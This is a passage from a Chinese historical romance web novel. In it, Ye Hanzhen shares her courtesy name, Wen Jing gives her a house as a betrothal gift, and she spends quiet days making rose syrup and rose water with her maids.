叶含珍见救星来了,当即急急起身往外走,却被闻景拉住,“就这样坐着说话吧,她很快就要改口叫你大嫂了,这么害羞干什么?”
叶含珍被闻景拉住,跌坐在方才的位置,又朝闻景瞪了一眼。
“叶姐姐,你就坐在那里吧,”闻菲松开捂住的双眼,朝两人不怀好意道,“免得有人挣裂了伤口,耽误我改口。”
她说着话往一边的椅子上坐下,又举了举手原本握着的锦盒,朝闻景道:“谢谢大哥的礼物,我很喜欢。”
随后又朝叶含珍道:“我及笄那日,娘亲会替我取字。我想叶姐姐你比我大些,应该也有字,只是不知是何字,可否告诉妹妹?”
“她比你大,以后又是你的大嫂,就算你知道她的字,又不能唤,你问来干什么?”
闻景失笑,他都不知道叶含珍的字,凭什么要告诉闻菲?
就算闻菲是他妹妹,也不行。
叶含珍没想到闻菲会问自己这个问题,不由为之怔愣。
见她满是期盼的神色,只好避开闻景的视线,启唇道:“……圆圆。”
尽管她已经放轻了声音,但这两个字,还是如岩浆般浇在闻景神识上,让他眼前有些发懵。
他也曾在黑夜里多次问过这个问题,只是都在淹没在她不断的嘤咛,和咒骂喘息里。
“……圆圆,”闻景低声重复道,“是希望你此生圆满之意吗?”
叶含珍回头对上闻景亮起的眼眸,无奈道:“也有此意,只是阿娘说我自小生得瘦弱,希望我如珍珠般圆圆润润的才好,便取了这个字。”
可惜此生,她终不得圆满。
闻菲:“真好,这是叶夫人对姐姐的珍视呀!只是也不知我娘亲会替我取什么字?”
“舜华郡主爱你更甚,会有意喻更好的字给妹妹。”叶含珍安抚道。
这几,闻菲都有些紧张。
叶含珍想起自己当年的及笄礼时,眼底一片涩然。
那会,自己已经同那人定下婚事,只是家里舍不得她早早出嫁,便在家多留了两年。
若是……
叶含珍摇头,想这些做什么呢?这些只会让自己更加难受罢了。
几日后,闻菲的及笄之礼顺利完成。
叶含珍婉拒闻菲的再三恳留,向舜华郡主请辞后,离开了郑国公府,回到梨花巷。
离开时还穿着单衣,回来时天气却已经热得,让人穿起了透气轻薄的纱衣纱裙。
梨花巷的下人们见她终于回来,个个喜得眉开眼笑。
白枝和青渚两个大丫头领着屋子里伺候的人,笑嘻嘻朝叶含珍贺喜,恭贺她不日就要嫁入郑国公府。
叶含珍望了众人脸上的笑意,不好给她们冷脸,便朝一旁悠闲带着笑意的男人道:“闻世子可要赏?”
她没忘记这里是闻景的宅子,就算要赏也得主人发话。
闻景却慵懒靠在椅背上,拈起一颗还带着水珠的葡萄往口送,边吃边含糊道:
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“这宅子里我已经让人写进聘礼单子里,如今你才是这里的主人,要赏要罚,都随你。”
叶含珍心下微震,原本手里吃了一半的蜜桃,顺着裙摆“咕噜咕噜”滚落在地,直到滚到冰鉴下,才慢慢停住。
很快就有人将桃子捡走。
叶含珍不明白他为何要送宅给自己,只定定望着又去拈葡萄吃的男子。
闻景见她仍看着自己,只好坦白道:“虽说我在京城一日,郑国公府无人敢欺负你,但我是武将,说不得哪日就会带兵打仗,出去个三五载才回来。我怕你日后受了委屈,又不愿意回叶府,特意让人写进聘礼单子。”
“会有人欺负我吗?”
闻景心虚得将葡萄扔进嘴里,“你就当它是我送给你的别院,闲时也可在这里小住几日。当然了,我也会同你一起来住。”
意思是,这是给她散心的地方,只是得带着他来这里。
叶含珍没想到闻景会猜到自己不愿意回叶府。还将这宅子送与自己,一时半会倒真的想不出拒绝的话。
回叶府里,一家子都难受。
愧疚,无奈,还有唾手可得的荣华富贵,将家人变得不像家人。
而这,大概就是闻景给自己的补偿。
叶含珍拿着绢帕慢慢擦拭着手指上残留的桃子汁水,扬起嘴角:“白枝,那就传我的话,每人赏银二两,厨房和屋子里伺候的人,再另外赏一吊钱。”
“是,小姐。”白枝笑吟吟地应下。
众人听到主子赏银的消息,个个都比过年还乐。
就连闻景见到她如此大方的赏下人,也厚着脸朝她伸手:“……那小姐要赏在下什么?嗯?”
叶含珍瞟了他一眼,没好气道:“赏你个没馅饺子要不要?”
“要!只要是你赏的,就算是毒药我都要,更何况是饺子呢?”
青渚见闻景起身走向罗汉榻上的新主子,朝打扇的小丫头们使了个眼色,便悄悄退出了内室。
出乎叶含珍的意料,闻景只在她身上歪缠一会,便带着人走了。
过后的三四日,都只有她一个人住在这宅子里。
难得闻景不在,丫头们又听她的话,叶含珍便也不去想烦心事,只带着人陪她斗花斗草,打秋千,做蜜饯,做花签,过得简直比神仙还快活。
“好啦,玫瑰卤子腌好了,等过半个月就能浇酥山吃!”
叶含珍将新鲜的玫瑰花瓣用层层蜂蜜渍好,用小瓷坛一盛,再用牛皮纸密封上。
小丫头殷勤得接过,又听她嘱咐道:“要放在阴凉处,不可沾和油。”
“是。”小丫头笑着应下,便抱着瓷坛去了厨房。
白枝和青渚一直盯着正接着玫瑰露的瓷瓶,钦佩道:“主子真厉害,什么都会做!”
叶含珍净完手,便将已经满的差不多的瓷瓶取走,又放了一只空瓶在半开的竹筒下,继续接着冷凝后的花露。
将小塞子塞紧手里装满的玫瑰露瓷瓶,往两人面前一递,“喏,这个是送给你们的。可以拿去兑水喝,也可以用来抹在头发上,保证能让你们香上三五日呢。”
白枝和青渚不敢接,连忙摆手道:“这太贵重了,奴婢们可使不得,还是小姐留着用吧,”
且不说今日一早从郑国公府送来的这两筐玫瑰有多难得,就单单这一瓶露水,都不知耗费了多少功夫才集成。